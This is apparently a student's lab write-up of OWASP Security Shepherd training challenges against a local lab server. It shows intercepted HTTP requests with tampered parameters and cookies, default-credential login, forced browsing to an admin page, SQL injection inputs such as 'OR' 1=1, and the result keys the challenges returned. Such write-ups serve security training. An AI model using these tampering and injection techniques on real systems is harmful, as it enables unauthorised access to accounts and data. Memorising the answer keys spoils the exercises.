



SRI LANKA INSTITUTE OF INFORMATION
TECHNOLOGY

4th year Semester 1

Name : Anjelo Fernando

IT number: IT13040390

Security Shepherd –OWASP

The OWASP security shepherd project is a web and mobile application security training platform. Security shepherd has been designed to foster and improve security awareness among a valid skill-set demographic. The aim of this project is to take Appsec novices or experienced engineers and sharpen their penetration testing skillset to security expert status

1. Direct Object References

The result key to complete this lesson is stored in the administrators profile.

[Refresh your Profile](#)

User: Guest

Age: 22
Address: 54 Kevin Street, Dublin
Email: guestAccount@securityShepherd.com
Private Message: No Private Message Set

```
POST /lessons/fdb94122d0f032821019c7edf09dc62ea21e25ca619ed9107bcc50e4a8dbc100 HTTP/1.1
Host: 192.168.25.130
Connection: close
Content-Length: 14
Accept: */*
Origin: https://192.168.25.130
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.25.130/lessons/fdb94122d0f032821019c7edf09dc62ea21e25ca619ed9107bcc50e4a8dbc100.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=5F2C5EBCFF9647B12ED3233BA708A14; token=128956315059382116852945100982852839159; JSESSIONID3="4VENTchnZJXmwQrQc2FSIQ=="

username=guest
```


Hide Lesson Introduction

The result key to complete this lesson is stored in the administrators profile.

Refresh your Profile

User: Admin

Age: 43
Address: 12 Bolton Street, Dublin
Email: administratorAccount@securityShepherd.com
Result Key:

Private Message:  eWIC5yST9OYtf5cx/VHDFNj9exdV3Wb+u
D4lOCrddkU6osxsm37xW1RULxapQCQT9

2. Poor Data Validation

To get the result key to this lesson, you must bypass the validation in the following function and submit a negative number.

Enter a Number:

Submit Number

```
POST /lessons/4d8d50a458ca5f1f7e2506dd5557ae1f7da21282795d0ed86c55fefe41eb874f HTTP/1.1
Host: 192.168.56.103
Connection: keep-alive
Content-Length: 10
Accept: */*
Origin: https://192.168.56.103
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.56.103/lessons/4d8d50a458ca5f1f7e2506dd5557ae1f7da21282795d0ed86c55fefe41eb874f.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=2A7FFA66E7F93D2AAF33C7C14F12A799; token=-69755094637080738973901971234369280574; JSESSIONID3="vvONDkikB5suCmTcsrLbfw=="
userdata=-1
```

chhnekEizV0wOqvJCcOwKZfWl3cOI7+syk/RARrD/cZBsfv0MF23atnxFaPPb83aqlmdczTNIZjGSZAhtQZ

Submit

What is Poor Data Validation?

Poor Data Validation occurs when an application does not validate submitted data correctly or sufficiently. Poor Data Validation application issues are generally low severity, they are more likely to be coupled with other security risks to increase their impact. If all data submitted to an application is validated correctly, security risks are significantly more difficult to exploit.

Attackers can take advantage of poor data validation to perform business logic attacks or cause server errors.

When data is submitted to a web application, it should ensure that the data is strongly typed, has correct syntax, is within length boundaries, contains only permitted characters and within range boundaries. The data validation process should ideally be performed on the client side and again on the server side.

Hide Lesson Introduction

3. Security Misconfiguration

Hide Lesson Introduction

To get the result key to this lesson, you must sign in with the default admin credentials which were never removed or updated.

User Name

Password

Sign In

Authentication Successful

You have successfully signed in with the default sign in details for this application. You should always change default passwords and avoid default administration usernames.

Result Key:

g5NcmqLnQdCLzVkF8Dot9NY0mQ7cE58hTn+FilwYBaY92SVoY9LGZirSzizTwyVfijt/OPjHx+Btj
oFD91BEzxeLefDQ5hovz0Eimi5v3ac.la/AeNa/O1ox8i59GOn+YQATkH/pasBelTa.lSPWpRw==



4. Broken Session Management

```
POST /lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806 HTTP/1.1
Host: 192.168.25.130
Connection: close
Content-Length: 0
Accept: */*
Origin: https://192.168.25.130
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Referer: https://192.168.25.130/lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: lessonComplete=lessonNotComplete; JSESSIONID=5F2C5EBCFFF9647B12ED3233BA708A14; token=128956315059382116852945100982852839159; JSESSIONID3="4VENTchnZJXmwQrQc2FSIQ=="
```

Change the “LessonNotComplete” parameter as “LessonComplete” and forward the packet

```
POST /lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806 HTTP/1.1
Host: 192.168.25.130
Connection: close
Content-Length: 0
Accept: */*
Origin: https://192.168.25.130
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Referer: https://192.168.25.130/lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: lessonComplete=lessonComplete; JSESSIONID=5F2C5EBCFFF9647B12ED3233BA708A14; token=128956315059382116852945100982852839159; JSESSIONID3="4VENTchnZJXmwQrQc2FSIQ=="
```

```
GET /js/clipboard-js/clippy.svg HTTP/1.1
Host: 192.168.25.130
Connection: close
Cache-Control: max-age=0
Accept: image/webp,image/*,*/*;q=0.8
If-None-Match: W/"536-1445535796000"
If-Modified-Since: Thu, 22 Oct 2015 17:43:16 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Referer: https://192.168.25.130/lessons/b8c19efd1a7cc64301f239f9b9a7a32410a0808138bbefc98986030f9ea83806.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=5F2C5EBCFFF9647B12ED3233BA708A14; token=128956315059382116852945100982852839159; JSESSIONID3="4VENTchnZJXmwQrQc2FSIQ=="
```

Here is the key which retrieved by bypassing the weak session management

Lesson Complete

Congratulations, you have bypassed this lessons **VERY WEAK** session management. The result key for this lesson is

```
fsF0LEmUml3iQCW5zr8wFsW+NI3tkviSNGL4SaNyYuLrlwunynVeR+uSzHVq9EeQ6oNkz1nZ5j  
BM4fnl.9hOiRQ==
```

5. Failure to Restrict the URL

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

| Host | Method | URL | Params | Status | Length | MIME type | Title | Comment | Time requested |
|------------------------|--------|------------------------------|--------|--------|--------|-----------|-------|---------|----------------|
| https://192.168.25.130 | GET | /lessons/adminOnly/result... | | | | HTML | | | |

Request Response

Raw Headers Hex

```
GET /lessons/adminOnly/resultKey.jsp HTTP/1.1
Host: 192.168.25.130
Accept: */*
Accept-Language: en
Connection: close
```

```
GET /lessons/adminOnly/resultKey.jsp HTTP/1.1
Host: 192.168.25.130
Accept: */*
Accept-Language: en
Connection: close
```

This is the achieved key for this step

Result Key: ORbwNviqq8TxJ9L/qSNfxqD0Ep0M3zfi7tbeOXfOPDroygFt5bX09JaN/CT8JX+7uZEIgaOAgaYzpOaDqd5htQ==

Solution Submission Success

Failure to Restrict URL Access completed! Congratulations.

6. Cross site scripting

The following search box outputs untrusted data without any validation or escaping. Get an alert box to execute through this function to show that there is an XSS vulnerability present.

Please enter the **Search Term** that you want to look up

Well Done

You successfully executed the JavaScript alert command!

The result key for this lesson is

+5YB0QQZk4yJ0Q36/8jQKfd6g+Q1a4Z6TLWII/oFtYrAyGndiYjMDIynVzWVRevhiGAUTH6wAU
FoxXcny//hYWQ==



Solution Submission Success

Cross Site Scripting completed! Congratulations.

7. Cross Site Scripting 01

Cross Site Scripting One

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

hB59C6Bby2uWMw8MEdO7K+UeoenYATwXvFiVcDVObBILuYvDhCfVpWOYUAaTLun3y86w5
MdxKtuMp8xKnVsz8w==



8. Insecure Cryptographic Storage

Decode from Base64 format

Simply use the form below

YmFzZTY0aXNOB3RFbmNyeXB0aW9uQmFzZTY0aXNFbmNvZGluZ0Jhc2U2NEhp
ZGVzTm90aGluZ0Zyb21Zb3U=



(You may also select input charset.)

Result goes here...

base64isNotEncryptionBase64isEnc odingBase64HidesNothingFromYou

Submit Result Key Here...

Submit

Solution Submission Success

Insecure Cryptographic Storage completed! Congratulations.

9. SQL injection

Please enter the **user name** of the user that you want to look up

'OR' 1=1

Get this user

Search Results

| User Id | User Name | Comment |
|---------|--------------|---|
| 12345 | user | Try Adding some SQL Code |
| 12346 | OR 1 = 1 | Your Close, You need to escape the string with an apostrophe so that your code is interpreted |
| 12543 | Fred Mtenzi | A lecturer in DIT Kevin Street |
| 14232 | Mark Denihan | This guy wrote this application |
| 61523 | Cloud | Has a Big Sword |
| 82642 | qwldshs@ab | Lesson Completed. The result key is 3c17f6bf34080979e0ceabda5672e989c07ceec9fa4ee7b7c17c9e3ce26bc63e0 |

Submit Result Key Here...

Submit

Solution Submission Success

SQL Injection completed! Congratulations.

10. Insecure Cryptographic Storage Challenge 1

Online free tool is used in this step

Caesar cipher decryption tool

The following tool allows you to encrypt a text with a simple offset algorithm - also known as **Caesar cipher**. If you are using **13** as the key, the result is similar to an **rot13 encryption**. If you use "guess" as the key, the algorithm tries to find the right key and decrypts the string by guessing. I also wrote a small article (with source publication) about **finding the right key** in an unknown context of an encrypted text.

```
Ymj wjxzqy pjd ktw ymnx qjxxts nx ymj ktqqtbnsl  
xywnsl;  
rdqtajqdmtwxjwzssnslymwztzlmymjknjqibmjwjfwjdtzltnsln  
ymdtzwgnlf
```

Use key: 21 ▼

Encrypt / Decrypt

Output:

The result key for this lesson is the following string;
mylovelyhorserunningthroughthefieldwhereareyougoingwithyourbiga

Submit Result Key Here...

Submit

Solution Submission Success

Insecure Cryptographic Storage Challenge 1 completed! Congratulations.

11. Insecure Direct Object Reference Challenge 1

```
POST /challenges/o9a450a64cc2a196f55878e2bd9a27a72daea0f17017253f87e7ebd98c71c98c HTTP/1.1
Host: 192.168.25.130
Connection: close
Content-Length: 14
Accept: */*
Origin: https://192.168.25.130
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.25.130/challenges/o9a450a64cc2a196f55878e2bd9a27a72daea0f17017253f87e7ebd98c71c98c.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=5F2C5EBCFF9647B12ED3233BA708A14; token=128956315059382116852945100982852839159; JSESSIONID3="4VENTchnZJXmwQrQc2FSIQ=="

userId$B$D=11
```

Show this Profile

Hidden User's Message

Result Key is dd6301b38b5ad9c54b85d07c087aebec89df8b8c769d4da084a55663e6186742

Submit Result Key Here...

Submit

Solution Submission Success

Insecure Direct Object Reference Challenge 1 completed! Congratulations.

12. Poor Data Validation 01

```
POST /challenges/ca0e89caf3c50dbf9239a0b3c6f6c17869b2ale2edc3aa6f029fd30925d66c7e HTTP/1.1
Host: 192.168.25.130
Connection: close
Content-Length: 57
Accept: */*
Origin: https://192.168.25.130
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.25.130/challenges/ca0e89caf3c50dbf9239a0b3c6f6c17869b2ale2edc3aa6f029fd30925d66c7e.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=5F2C5EBCFF9647B12ED3233BA708A14; token=128956315059382116852945100982852839159; JSESSIONID3="4VENTchnZJXmwQrQc2FSIQ=="

megustaAmount=1&trollaAmount=1&rageAmount=-100&notBadAmount=1
```


Order Complete

Your order has been made and has been sent to our magic shipping department that knows where you want this to be delivered via brain wave sniffing techniques.

Your order comes to a total of \$-1455

Trolls were free, Well Done -

+z+rEp5lkLnRfpWD/GrJnA1+2HFLNXxzQo41bn/Tgz1WNUjbJ/b7bQ5ark6+CFKrGg92MikcrfH3
+ouza7w7aZlavDaZBtoinK+PBIzPxIMVSMV6zax1vwmZ.InNRUInoz3l2Gt8Bbs4+CRdE+di3XrA=



Submit Result Key Here...

Submit

Solution Submission Success

Poor Data Validation 1 completed! Congratulations.

13. SQL Injection 1

o look up

"OR" 1=1

Get user

Search Results

| Name | Address | | Comment |
|------------------|--------------------------------|---|---------|
| John Fits | crazycat@example.com | null | |
| Rubix Man | manycolours@cube.com | null | |
| Rita Hanola n | thenightbefore@example.co m | null | |
| Paul O Brie n | sixshooter@deaf.com | Well Done! The reuslt Key is fd8e9a29dab791197115b58061b215594211e72c1680f1eacc50b0394133a09f | |

Submit Result Key Here...

Submit

Solution Submission Success

SQL Injection 1 completed! Congratulations.